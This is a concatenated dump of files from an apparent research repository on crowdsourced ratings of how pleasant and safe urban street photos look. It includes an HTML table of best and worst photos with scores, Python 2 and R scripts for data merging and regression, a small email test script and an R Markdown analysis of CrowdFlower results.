<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_188_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_188_135.jpg 5</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_188_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_188_203.jpg 2</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_188_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_188_22.jpg 5</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_188_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_188_315.jpg 4</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_222_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_222_135.jpg 4</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_222_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_222_203.jpg 6</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_222_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_222_22.jpg 5</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_222_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_222_315.jpg 2</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_300_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_300_135.jpg 4</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_300_203.jpg 1</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_300_22.jpg 4</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_300_315.jpg 11</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_370_135.jpg 4</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_370_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_370_203.jpg 1</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_370_315.jpg 5</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_392_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_392_112.jpg 5</td>
</tr>
<tr>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_392_22.jpg 3</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_392_225.jpg 2</td>
<td><img src="./melhores/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Manoel_Pereira_de_Araújo_392_293.jpg 13</td>
</tr>
<tr>
<td><img src="./melhores/R._Rodrigues_Alves_1440_240.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1440_240.jpg 2</td>
<td><img src="./melhores/R._Rodrigues_Alves_1440_325.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1440_325.jpg 2</td>
<td><img src="./melhores/R._Rodrigues_Alves_1440_55.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1440_55.jpg 1</td>
</tr>
<tr>
<td><img src="./melhores/R._Rodrigues_Alves_1687_145.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1687_145.jpg 8</td>
<td><img src="./melhores/R._Rodrigues_Alves_1687_240.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1687_240.jpg 3</td>
<td><img src="./melhores/R._Rodrigues_Alves_1687_325.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1687_325.jpg 3</td>
</tr>
<tr>
<td><img src="./melhores/R._Rodrigues_Alves_1687_55.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1687_55.jpg 2</td>
<td><img src="./melhores/R._Rodrigues_Alves_1862_145.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1862_145.jpg 1</td>
<td><img src="./melhores/R._Rodrigues_Alves_1862_240.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1862_240.jpg 3</td>
</tr>
<tr>
<td><img src="./melhores/R._Rodrigues_Alves_1862_55.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_1862_55.jpg 3</td>
<td><img src="./melhores/R._Rodrigues_Alves_2100_235.jpg" width="400" height="300"></td>
<td>./melhores/R._Rodrigues_Alves_2100_235.jpg 1</td>
</tr>
</table><h2> Piores </h2><table>
<tr>
<td><img src="./piores/Av._Mal._Floriano_Peixoto_445_22.jpg" width="400" height="300"></td>
<td>./piores/Av._Mal._Floriano_Peixoto_445_22.jpg 22</td>
<td><img src="./piores/Av._Mal._Floriano_Peixoto_445_293.jpg" width="400" height="300"></td>
<td>./piores/Av._Mal._Floriano_Peixoto_445_293.jpg 15</td>
<td><img src="./piores/Av._Mal._Floriano_Peixoto_480_112.jpg" width="400" height="300"></td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_300_112.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_300_112.jpg 6</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_300_180.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_300_180.jpg 13</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_300_293.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_300_293.jpg 3</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_360_203.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_360_203.jpg 33</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_360_22.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_360_22.jpg 15</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_360_270.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_360_270.jpg 14</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_360_90.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_360_90.jpg 53</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_434_10.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_434_10.jpg 35</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_434_112.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_434_112.jpg 14</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_434_180.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_434_180.jpg 31</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_434_270.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_434_270.jpg 38</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_500_203.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_500_203.jpg 55</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_500_22.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_500_22.jpg 75</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_500_270.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_500_270.jpg 45</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_500_90.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_500_90.jpg 58</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_54_112.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_54_112.jpg 14</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_54_203.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_54_203.jpg 50</td>
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<td><img src="./piores/R._Inácio_Marquês_da_Silva_54_22.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_54_22.jpg 5</td>
<td><img src="./piores/R._Inácio_Marquês_da_Silva_54_293.jpg" width="400" height="300"></td>
<td>./piores/R._Inácio_Marquês_da_Silva_54_293.jpg 73</td>
<td><img src="./piores/R._Maciel_Pinheiro_130_180.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_130_180.jpg 14</td>
</tr>
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<td><img src="./piores/R._Maciel_Pinheiro_130_270.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_130_270.jpg 30</td>
<td><img src="./piores/R._Maciel_Pinheiro_130_360.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_130_360.jpg 33</td>
<td><img src="./piores/R._Maciel_Pinheiro_130_90.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_130_90.jpg 18</td>
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<td><img src="./piores/R._Maciel_Pinheiro_190_180.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_190_180.jpg 73</td>
<td><img src="./piores/R._Maciel_Pinheiro_190_270.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_190_270.jpg 42</td>
<td><img src="./piores/R._Maciel_Pinheiro_190_360.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_190_360.jpg 20</td>
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<td><img src="./piores/R._Maciel_Pinheiro_190_90.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_190_90.jpg 20</td>
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<td>./piores/R._Maciel_Pinheiro_248_180.jpg 22</td>
<td><img src="./piores/R._Maciel_Pinheiro_248_270.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_248_270.jpg 28</td>
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<td><img src="./piores/R._Maciel_Pinheiro_248_360.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_248_360.jpg 37</td>
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<td>./piores/R._Maciel_Pinheiro_248_90.jpg 26</td>
<td><img src="./piores/R._Maciel_Pinheiro_284_180.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_284_180.jpg 15</td>
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<td><img src="./piores/R._Maciel_Pinheiro_284_270.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_284_270.jpg 44</td>
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<td>./piores/R._Maciel_Pinheiro_284_360.jpg 23</td>
<td><img src="./piores/R._Maciel_Pinheiro_284_90.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_284_90.jpg 22</td>
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<td><img src="./piores/R._Maciel_Pinheiro_360_180.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_360_180.jpg 33</td>
<td><img src="./piores/R._Maciel_Pinheiro_360_270.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_360_270.jpg 40</td>
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<td>./piores/R._Maciel_Pinheiro_360_360.jpg 26</td>
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<td><img src="./piores/R._Maciel_Pinheiro_360_90.jpg" width="400" height="300"></td>
<td>./piores/R._Maciel_Pinheiro_360_90.jpg 37</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_188_135.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_188_135.jpg 116</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_188_203.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_188_203.jpg 100</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_188_22.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_188_22.jpg 98</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_188_315.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_188_315.jpg 86</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_222_135.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_222_135.jpg 123</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_222_203.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_222_203.jpg 72</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_222_22.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_222_22.jpg 131</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_222_315.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_222_315.jpg 64</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_300_135.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_300_135.jpg 172</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_300_203.jpg 91</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_300_22.jpg 85</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_300_315.jpg 114</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_370_135.jpg 111</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_370_203.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_370_203.jpg 77</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_370_22.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_370_22.jpg 107</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_370_315.jpg 168</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_392_112.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_392_112.jpg 102</td>
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<td><img src="./piores/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_392_22.jpg 129</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_392_225.jpg 98</td>
<td><img src="./piores/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>./piores/R._Manoel_Pereira_de_Araújo_392_293.jpg 112</td>
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<td><img src="./piores/R._Rodrigues_Alves_1440_145.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1440_145.jpg 4</td>
<td><img src="./piores/R._Rodrigues_Alves_1440_240.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1440_240.jpg 7</td>
<td><img src="./piores/R._Rodrigues_Alves_1440_325.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1440_325.jpg 1</td>
</tr>
<tr>
<td><img src="./piores/R._Rodrigues_Alves_1440_55.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1440_55.jpg 2</td>
<td><img src="./piores/R._Rodrigues_Alves_1687_55.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1687_55.jpg 2</td>
<td><img src="./piores/R._Rodrigues_Alves_1862_240.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1862_240.jpg 1</td>
</tr>
<tr>
<td><img src="./piores/R._Rodrigues_Alves_1862_325.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1862_325.jpg 4</td>
<td><img src="./piores/R._Rodrigues_Alves_1862_55.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_1862_55.jpg 2</td>
<td><img src="./piores/R._Rodrigues_Alves_2100_150.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_2100_150.jpg 3</td>
</tr>
<tr>
<td><img src="./piores/R._Rodrigues_Alves_2100_235.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_2100_235.jpg 4</td>
<td><img src="./piores/R._Rodrigues_Alves_2100_315.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_2100_315.jpg 8</td>
<td><img src="./piores/R._Rodrigues_Alves_2100_60.jpg" width="400" height="300"></td>
<td>./piores/R._Rodrigues_Alves_2100_60.jpg 6</td>
</tr>
<tr>
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</table></body>
<file_sep># coding=utf-8
# Prepares a HTML page containing the photos and their QScore per question, filtered according to an intersection file containing the set of photos to be considered or not, and prints the set of photos that will appear in the HTML page
import sys
from sets import Set
controlPhoto = ["norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg", "norte/centro/Rua_Elias_Aforas__67__0.jpg", "oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg", "norte/centro/Rua_Elias_Aforas__67__180.jpg", "oeste/liberdade/Rua_Riachuelo__930__0.jpg", "norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg", "norte/centro/Rua_Elias_Aforas__202_0.jpg", "norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg", "norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg", "oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg"]
otherPhotos = Set([])
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com definições das tarefas>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
for line in lines:
data = line.split(",")
photo1 = data[7].strip("\"}{").split(":")[2]
photo2 = data[9].strip("\"}{").split(":")[2]
print photo1 + " " + photo2
for photo in controlPhoto:
if photo in photo1:
otherPhotos.add(photo2)
elif photo in photo2:
otherPhotos.add(photo1)
print str(otherPhotos) + " " + str(len(otherPhotos))
for photo in otherPhotos:
if controlPhoto[0] in photo:
print "True"
<file_sep>#!/bin/Rscript
# Analyses the regression of QScore in terms of color and amount of lines according to previous data of all-subset
library(leaps)
args <- commandArgs(trailingOnly = TRUE)
#Agradavel
data = read.table(args[1], header=TRUE)
#Evaluating possible regressions with all-subset
dados = data.frame(qscore=data$qscore, red=data$red, green=data$green, blue=data$blue, diag=data$diag, hor=data$hor, vert=data$vert)
regsubsets.out <- regsubsets(qscore ~ red + green + blue + diag + vert + hor, data = dados, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
jpeg(file = paste(args[1], ".jpg"))
plot(regsubsets.out, scale = "adjr2", main = "Adjusted R^2")
print(">>>> Regressao Agradavel: qscore = red + green + blue + diag + hor + vert")
#modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
modelo
summary(modelo)
print(">>>> Regressao Agradavel: qscore = red + green + blue + diag")
#modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
modelo = lm(qscore ~ red + green + blue + diag, data=dados)
modelo
summary(modelo)
#Segurança
data = read.table(args[2], header=TRUE)
#Evaluating possible regressions with all-subset
dados = data.frame(qscore=data$qscore, red=data$red, green=data$green, blue=data$blue, diag=data$diag, hor=data$hor, vert=data$vert)
regsubsets.out <- regsubsets(qscore ~ red + green + blue + diag + vert + hor, data = dados, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
jpeg(file = paste(args[2], ".jpg"))
plot(regsubsets.out, scale = "adjr2", main = "Adjusted R^2")
print(">>>> Regressao Seguro: qscore = red + green + blue + diag + hor + vert")
modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
modelo
summary(modelo)
print(">>>> Regressao Seguro: qscore = red + green + diag + hor")
modelo = lm(qscore ~ red + green + diag + hor, data=dados)
modelo
summary(modelo)
<file_sep>import smtplib
fromaddr = '<EMAIL>'
toaddrs = '<EMAIL>'
msg = 'Why,Oh why!'
username = '<EMAIL>'
password = '<PASSWORD>'
# Prepare actual message
message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (fromaddr, toaddrs, "Teste", msg)
try:
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, message)
server.quit()
server.close()
print 'successfully sent the mail'
except:
print "failed to send mail"
<file_sep># coding=utf-8
# Combines RGB bins data and other data for images
import sys
#possible questions
possibleQuestions = ["agradavel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com rgb bins> <arquivo com qscores e outros dados>"
sys.exit(1)
rgbs = open(sys.argv[1], "r")
qscores = open(sys.argv[2], "r")
qscoreLines = qscores.readlines()
rgbLines = rgbs.readlines()
#Reading qscores
qscoreDic = []
for line in qscoreLines[1:]:
qscoreDic.append(line)
#Reading rgb data
rgbDic = {}
for line in rgbLines:
data = line.split(" ")
#print data
photo = data[0]
rgbDic[photo.strip()] = str(data[1:])
#Writing outputFile with qscores and rgb
outputFile = open("geralSetoresAJ_bins.dat","w")
#outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for line in qscoreDic:
data = line.split(" ")
photo = data[0]
rgb = rgbDic[photo.split("/")[1]].strip('[]')
outputFile.write(line+"\t"+rgb+"\n")
outputFile.close()
<file_sep>---
title: "RoyalSociety"
output: pdf_document
---
#Elementos urbanos
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
library(dplyr)
substituiURL <- function(dadosPorGrupo){
localData <- lapply(as.character(dadosPorGrupo$image_url), function (x) paste(strsplit(x, split="/", fixed=TRUE)[[1]][6], "/", strsplit(x, split="/", fixed=TRUE)[[1]][7], sep=""))
local <- unlist(lapply(localData, '[[', 1))
return (local)
}
#Lendo resultados do CrowdFlower
dadosg1 <- read.csv("regressao100/g1.csv")
dadosg1$image_url <- substituiURL(dadosg1)
dadosg2 <- read.csv("regressao100/g2.csv")
dadosg2$image_url <- substituiURL(dadosg2)
dadosg3 <- read.csv("regressao100/g3.csv")
dadosg3$image_url <- substituiURL(dadosg3)
dadosg4 <- read.csv("regressao100/g4.csv")
dadosg4$image_url <- substituiURL(dadosg4)
dadosg5 <- read.csv("regressao100/g5.csv")
dadosg5$image_url <- substituiURL(dadosg5)
dadosg6 <- read.csv("regressao100/g6.csv")
dadosg6$image_url <- substituiURL(dadosg6)
dadosg7 <- read.csv("regressao100/g7.csv")
dadosg7$image_url <- substituiURL(dadosg7)
dadosg8 <- read.csv("regressao100/g8.csv")
dadosg8$image_url <- substituiURL(dadosg8)
dadosg9 <- read.csv("regressao100/g9.csv")
dadosg9$image_url <- substituiURL(dadosg9)
dadosg10 <- read.csv("regressao100/g10.csv")
dadosg10$image_url <- substituiURL(dadosg10)
dadosg11 <- read.csv("regressao100/g11.csv")
dadosg11$image_url <- substituiURL(dadosg11)
dadosg12 <- read.csv("regressao100/g12.csv")
dadosg12$image_url <- substituiURL(dadosg12)
dadosg13 <- read.csv("regressao100/g13.csv")
dadosg13$image_url <- substituiURL(dadosg13)
#Somando esquerda e direita
somaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
dados1[is.na(dados1)] <- 0
dados2[is.na(dados2)] <- 0
soma = dados1 + dados2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
if (is.na(desvio)){
valores = rnorm(mean = mean(soma, na.rm = TRUE), sd = mean(desvios, na.rm = TRUE), n = 3)
valores <- ifelse(valores < 0, 0, valores)
valores <- ifelse(valores > uplimit, uplimit, valores)
return (mean(valores))
}else{
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
}
#Somando esquerda e direita
mediaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
for (i in length(dados1)){
if(is.na(dados1[i])){
dados1[i] <- dados2[i]
}
if(is.na(dados2[i])){
dados2[i] <- dados1[i]
}
}
soma = (dados1 + dados2) / 2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
if (is.na(desvio)){
valores = rnorm(mean = mean(soma, na.rm = TRUE), sd = mean(desvios, na.rm = TRUE), n = 3)
valores <- ifelse(valores < 0, 0, valores)
valores <- ifelse(valores > uplimit, uplimit, valores)
return (mean(valores))
}else{
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
}
#Gerando valores para os casos com apenas 1 resposta a partir do desvio obtido em outras respostas para a mesma questão
geraValores <- function(lista, question, desvios, uplimit){
desvio = sd(lista)
#Apenas 1 valor
if (is.na(desvio) & question == "1"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd1, na.rm = TRUE), n = 3)
if(!is.na(valores)){
#while(any( valores < 0 | valores > uplimit)) {
# valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd1, na.rm = TRUE), n = 3)
#}
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "1l"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd1l, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit, uplimit , valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "1r"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd1r, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "2"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd2, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "2l"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd2l, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "2r"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd2r, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "3l"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd3l, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "3r"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd3r, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else if (is.na(desvio) & question == "3"){
valores = rnorm(mean = mean(lista, na.rm = TRUE), sd = mean(desvios$sd3, na.rm = TRUE), n = 3)
if(!is.na(valores)){
valores <- ifelse(valores < 0,0,valores)
valores <- ifelse(valores > uplimit,uplimit,valores)
}
return (mean(valores))
} else{
return (mean(lista, na.rm = TRUE))
}
}
Mode <- function(x) {
ux <- unique(x)
ux[which.max(tabulate(match(x, ux)))]
}
#Agrupando por imagem e por questao - G1
by_image <- group_by(dadosg1, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData1 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 100),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G2
by_image <- group_by(dadosg2, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData2 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 200),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
